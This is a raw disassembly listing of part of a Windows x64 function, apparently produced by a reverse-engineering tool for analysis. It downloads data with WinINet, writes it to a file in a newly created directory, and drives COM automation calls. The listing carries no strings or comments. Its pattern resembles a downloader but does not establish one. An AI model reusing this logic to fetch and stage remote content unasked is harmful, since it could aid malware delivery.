mov rdi, rbx
or rdi, 7
cmp rdi, r15
jbe 0x140005246
movabs rax, 0x7fffffffffffffff
mov rdi, r15
lea rcx, [rax + rax]
jmp 0x140005276
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rdi + 1]
cmp rcx, rax
ja 0x1400060c0
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400052a2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060c0
mov rcx, rax
call fcn.1400309c4
test rax, rax
je 0x1400060b4
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400052b3
test rcx, rcx
je 0x1400052ae
call fcn.1400309c4
jmp 0x1400052b0
xor eax, eax
mov rsi, rax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0x6e0], rsi
mov rdx, r14
mov qword [rbp + 0x6f8], rdi
mov rcx, rsi
call fcn.140057450
xorps xmm0, xmm0
lea rcx, [rbp + 0x700]
xor eax, eax
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x770], rax
movups xmmword [rbp + 0x710], xmm0
movups xmmword [rbp + 0x720], xmm0
movups xmmword [rbp + 0x730], xmm0
movups xmmword [rbp + 0x740], xmm0
movups xmmword [rbp + 0x750], xmm0
movups xmmword [rbp + 0x760], xmm0
call fcn.140006630
cmp qword [rbp + 0x558], 7
lea r8, [rbp + 0x540]
mov rax, qword [rbp + 0x550]
lea rdx, [rbp + 0x608]
cmova r8, qword [rbp + 0x540]
lea rcx, [rbp + 0x700]
lea r9, [r8 + rax*2]
call fcn.140006eb0
cmp qword [rbp + 0x620], 0xf
lea rcx, [rbp + 0x608]
lea rdx, [0x140066724]
cmova rcx, qword [rbp + 0x608]
call fcn.14003710c
mov r14, qword [rbp - 0x38]
lea r9, [rbp + 0x428]
mov rcx, r14
lea rdx, [rbp + 0xdc0]
mov r8d, 0x400
mov rbx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400053e2
nop dword [rax]
mov ecx, dword [rbp + 0x428]
test ecx, ecx
je 0x1400053e2
mov r8d, ecx
mov r9, rbx
lea rcx, [rbp + 0xdc0]
mov edx, 1
call fcn.140037dac
lea r9, [rbp + 0x428]
mov r8d, 0x400
lea rdx, [rbp + 0xdc0]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400053a0
mov rcx, rbx
call fcn.1400372a4
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, r12
lea rcx, [rbp - 0x30]
call fcn.140006a60
mov rbx, qword [rbp - 0x20]
mov rcx, 0xffffffffffffffff
inc rbx
mov eax, 2
mul rbx
cmovo rax, rcx
mov rcx, rax
call fcn.140030c40
cmp qword [rbp - 0x18], 7
lea r8, [rbp - 0x30]
mov rdx, rbx
mov rcx, rax
cmova r8, qword [rbp - 0x30]
mov r14, rax
call fcn.14003733c
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000547d
mov rcx, qword [rbp - 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005478
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060ae
call fcn.140030720
xor eax, eax
mov qword [rbp - 0x18], 7
mov rcx, r14
mov qword [rbp - 0x20], rax
mov word [rbp - 0x30], ax
call fcn.140002490
mov rdx, qword [rbp + 0x620]
cmp rdx, 0xf
jbe 0x1400054d8
mov rcx, qword [rbp + 0x608]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060b4
call fcn.140030720
xor r14d, r14d
mov qword [rbp + 0x620], 0xf
lea rcx, [rbp + 0x700]
mov qword [rbp + 0x618], r14
mov byte [rbp + 0x608], r14b
call fcn.140006540
cmp rdi, 7
jbe 0x14000553b
lea rdx, [rdi*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140005533
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060b4
mov rcx, rsi
call fcn.140030720
mov rdx, qword [rbp + 0x558]
cmp rdx, 7
jbe 0x140005581
mov rcx, qword [rbp + 0x540]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000557c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060b4
call fcn.140030720
mov rdx, qword [rbp + 0x598]
mov qword [rbp + 0x550], r14
mov qword [rbp + 0x558], 7
mov word [rbp + 0x540], r14w
cmp rdx, 7
jbe 0x1400055e1
mov rcx, qword [rbp + 0x580]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060b4
call fcn.140030720
mov rsi, 0xffffffffffffffff
mov eax, 8
mov qword [rbp + 0x3e8], r14
lea rcx, [0x1400666a0]
mov word [rbp + 0x20], ax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x28], rax
test rax, rax
je 0x1400060e4
movups xmm0, xmmword [rbp + 0x20]
lea rcx, [rbp + 0xe0]
movups xmmword [rbp - 0x68], xmm0
movsd xmm0, qword [rbp + 0x30]
movsd qword [rbp - 0x58], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0xe0]
lea rcx, [rbp + 0xf8]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [rbp + 0xf0]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp - 0x68]
mov ecx, 0x18
movsd xmm1, qword [rbp + 0x108]
movaps xmmword [rbp + 0x220], xmm0
movsd xmm0, qword [rbp - 0x58]
movsd qword [rbp + 0x230], xmm0
movups xmm0, xmmword [rbp - 0x78]
movsd qword [rbp + 0x270], xmm1
movaps xmmword [rbp + 0x240], xmm0
movsd xmm0, qword [rbp - 0x50]
movsd qword [rbp + 0x250], xmm0
movups xmm0, xmmword [rbp + 0xf8]
movaps xmmword [rbp + 0x260], xmm0
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060e4
mov qword [rax], r14
mov rcx, r13
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x1400056e3
test r13, r13
jne 0x1400060e4
mov rcx, qword [rbp + 0x368]
lea rdx, [rbp + 0x3e8]
mov r8, qword [rbp + 0x320]
mov r9d, 6
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0x220]
mov qword [rsp + 0x38], rdx
lea rdx, [rbp + 0x240]
mov rax, qword [rcx]
mov dword [rsp + 0x30], 3
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x260]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rbx]
call qword [rax + 0x88]
mov edi, eax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140005779
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000575a
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000576c
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
lea rcx, [rbp + 0xf8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rsi, qword [rbp + 0x5c8]
test edi, edi
js 0x140005d4f
cmp byte [rsp + 0x50], 0
lea r14, [rbp + 0x5c8]
mov rdi, qword [rbp + 0x5d8]
xorps xmm0, xmm0
cmovne r14, rsi
movups xmmword [rbp + 0x408], xmm0
cmp rdi, 7
ja 0x1400057f5
mov qword [rbp + 0x418], rdi
mov qword [rbp + 0x420], 7
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x408], xmm0
jmp 0x1400058a9
mov rbx, rdi
or rbx, 7
cmp rbx, r15
jbe 0x140005814
movabs rax, 0x7fffffffffffffff
mov rbx, r15
lea rcx, [rax + rax]
jmp 0x140005844
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400060de
add rcx, rcx
cmp rcx, 0x1000
jb 0x140005873
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060de
mov rcx, rax
call fcn.1400309c4
mov rcx, rax
test rax, rax
je 0x1400060d2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005881
test rcx, rcx
je 0x14000587f
call fcn.1400309c4
jmp 0x140005881
xor eax, eax
lea r8, [rdi*2 + 2]
mov qword [rbp + 0x408], rax
mov rdx, r14
mov qword [rbp + 0x418], rdi
mov rcx, rax
mov qword [rbp + 0x420], rbx
call fcn.140057450
mov r14, 0xffffffffffffffff
lea rax, [rbp + 0xbb0]
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400058c0
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x408]
call fcn.140007330
mov rax, qword [rbp - 0x10]
mov r8, r14
inc r8
cmp word [rax + r8*2], 0
jne 0x1400058e5
mov rdx, rax
lea rcx, [rbp + 0x408]
call fcn.140007330
cmp qword [rbp + 0x420], 7
lea rbx, [rbp + 0x408]
cmova rbx, qword [rbp + 0x408]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140005928
test al, 0x10
jne 0x140005933
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp qword [rbp + 0x420], 7
lea rdi, [rbp + 0x408]
mov rbx, qword [rbp + 0x418]
xorps xmm0, xmm0
cmova rdi, qword [rbp + 0x408]
movups xmmword [rbp + 0x430], xmm0
cmp rbx, r15
ja 0x1400060c6
cmp rbx, 7
ja 0x14000598b
mov qword [rbp + 0x440], rbx
mov qword [rbp + 0x448], 7
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x430], xmm0
jmp 0x140005a3f
mov rax, rbx
or rax, 7
cmp rax, r15
jbe 0x1400059a7
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400059da
cmp rax, 0xa
mov ecx, 0xa
cmovb rax, rcx
mov r15, rax
lea rcx, [rax + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400060de
add rcx, rcx
cmp rcx, 0x1000
jb 0x140005a09
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060de
mov rcx, rax
call fcn.1400309c4
mov rcx, rax
test rax, rax
je 0x1400060d2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005a17
test rcx, rcx
je 0x140005a15
call fcn.1400309c4
jmp 0x140005a17
xor eax, eax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0x430], rax
mov rdx, rdi
mov qword [rbp + 0x440], rbx
mov rcx, rax
mov qword [rbp + 0x448], r15
call fcn.140057450
mov rax, qword [rbp]
mov r8, r14
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005a50
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.140007330
xorps xmm0, xmm0
lea rcx, [rbp + 0x480]
xor eax, eax
movups xmmword [rbp + 0x480], xmm0
mov qword [rbp + 0x4f0], rax
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rbp + 0x4a0], xmm0
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
movups xmmword [rbp + 0x4e0], xmm0
call fcn.140006630
cmp qword [rbp + 0x448], 7
lea r8, [rbp + 0x430]
mov rax, qword [rbp + 0x440]
lea rdx, [rbp + 0x450]
cmova r8, qword [rbp + 0x430]
lea rcx, [rbp + 0x480]
lea r9, [r8 + rax*2]
call fcn.140006eb0
cmp qword [rbp + 0x468], 0xf
lea rcx, [rbp + 0x450]
lea rdx, [0x140066724]
cmova rcx, qword [rbp + 0x450]
call fcn.14003710c
mov rdi, qword [rbp - 0x80]
lea r9, [rbp + 0x428]
mov rcx, rdi
lea rdx, [rbp + 0xdc0]
mov r8d, 0x400
mov rbx, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005b75
mov ecx, dword [rbp + 0x428]
test ecx, ecx
je 0x140005b75
mov r8d, ecx
mov r9, rbx
lea rcx, [rbp + 0xdc0]
mov edx, 1
call fcn.140037dac
lea r9, [rbp + 0x428]
mov r8d, 0x400
lea rdx, [rbp + 0xdc0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005b33
mov rcx, rbx
call fcn.1400372a4
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, r13
lea rcx, [rbp + 0x800]
call fcn.140006a60
mov rbx, qword [rbp + 0x810]
mov eax, 2
inc rbx
mul rbx
cmovo rax, r14
mov rcx, rax
call fcn.140030c40
cmp qword [rbp + 0x818], 7
lea r8, [rbp + 0x800]
mov rdx, rbx
mov rcx, rax
cmova r8, qword [rbp + 0x800]
mov rdi, rax
call fcn.14003733c
mov rdx, qword [rbp + 0x818]
cmp rdx, 7
jbe 0x140005c1e
mov rcx, qword [rbp + 0x800]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c19
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060cc
call fcn.140030720
xor r14d, r14d
mov qword [rbp + 0x818], 7
mov rcx, rdi
mov qword [rbp + 0x810], r14
mov word [rbp + 0x800], r14w
call fcn.140002490
mov rdx, qword [rbp + 0x468]
cmp rdx, 0xf
jbe 0x140005c84
mov rcx, qword [rbp + 0x450]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d2
call fcn.140030720
lea rcx, [rbp + 0x480]
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x468], 0xf
mov byte [rbp + 0x450], r14b
call fcn.140006540
mov rdx, qword [rbp + 0x448]
cmp rdx, 7
jbe 0x140005cef
mov rcx, qword [rbp + 0x430]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d2
call fcn.140030720
mov rdx, qword [rbp + 0x420]
mov qword [rbp + 0x440], r14
mov qword [rbp + 0x448], 7
mov word [rbp + 0x430], r14w
cmp rdx, 7
jbe 0x140005d4f
mov rcx, qword [rbp + 0x408]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d4a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d2
call fcn.140030720
mov rcx, qword [rbp + 0x360]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x328]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x3e0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [rbp + 0x368]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x320]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x3e8]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rcx, qword [rbp - 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp + 0x640]
cmp rdx, 7
jbe 0x140005df9
mov rcx, qword [rbp + 0x628]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005df4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rdx, qword [rbp + 0x660]
mov qword [rbp + 0x638], r14
mov qword [rbp + 0x640], 7
mov word [rbp + 0x628], r14w
cmp rdx, 7
jbe 0x140005e59
mov rcx, qword [rbp + 0x648]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e54
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rdx, qword [rbp + 0x5b8]
mov qword [rbp + 0x658], r14
mov qword [rbp + 0x660], 7
mov word [rbp + 0x648], r14w
cmp rdx, 7
jbe 0x140005eb9
mov rcx, qword [rbp + 0x5a0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005eb4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rdx, qword [rbp + 0x538]
mov qword [rbp + 0x5b0], r14
mov qword [rbp + 0x5b8], 7
mov word [rbp + 0x5a0], r14w
cmp rdx, 0xf
jbe 0x140005f14
mov rcx, qword [rbp + 0x520]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f0f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rdx, qword [rbp + 0x518]
mov qword [rbp + 0x530], r14
mov qword [rbp + 0x538], 0xf
mov byte [rbp + 0x520], 0
cmp rdx, 7
jbe 0x140005f73
mov rcx, qword [rbp + 0x500]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f6e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rdx, qword [rbp + 0x5e0]
mov qword [rbp + 0x510], r14
mov qword [rbp + 0x518], 7
mov word [rbp + 0x500], r14w
cmp rdx, 7
jbe 0x140005fcf
lea rdx, [rdx*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140005fc7
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
mov rcx, rsi
call fcn.140030720
mov rdx, qword [rbp + 0x578]
cmp rdx, 7
jbe 0x140006015
mov rcx, qword [rbp + 0x560]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006010
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rdx, qword [rbp + 0x600]
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x578], 7
mov word [rbp + 0x560], r14w
cmp rdx, 0xf
jbe 0x14000606c
mov rcx, qword [rbp + 0x5e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006067
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060d8
call fcn.140030720
mov rbx, qword [rsp + 0x1700]
xor eax, eax
mov rcx, qword [rbp + 0x15c0]
xor rcx, rsp
call fcn.140030700
lea r11, [rsp + 0x16d0]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001190
int3
call fcn.140001230
int3
call fcn.140038208
int3
call fcn.140038208
int3
call fcn.140001230
int3
call fcn.140001190
int3
call fcn.140001230
int3
call fcn.140038208
int3
call fcn.140038208
int3
call fcn.140038208
int3
call fcn.140001190
int3
mov ecx, 0x8007000e
call fcn.140030480
int3
mov ecx, 0x8007000e
call fcn.140030480
int3
mov ecx, 0x8007000e
call fcn.140030480
int3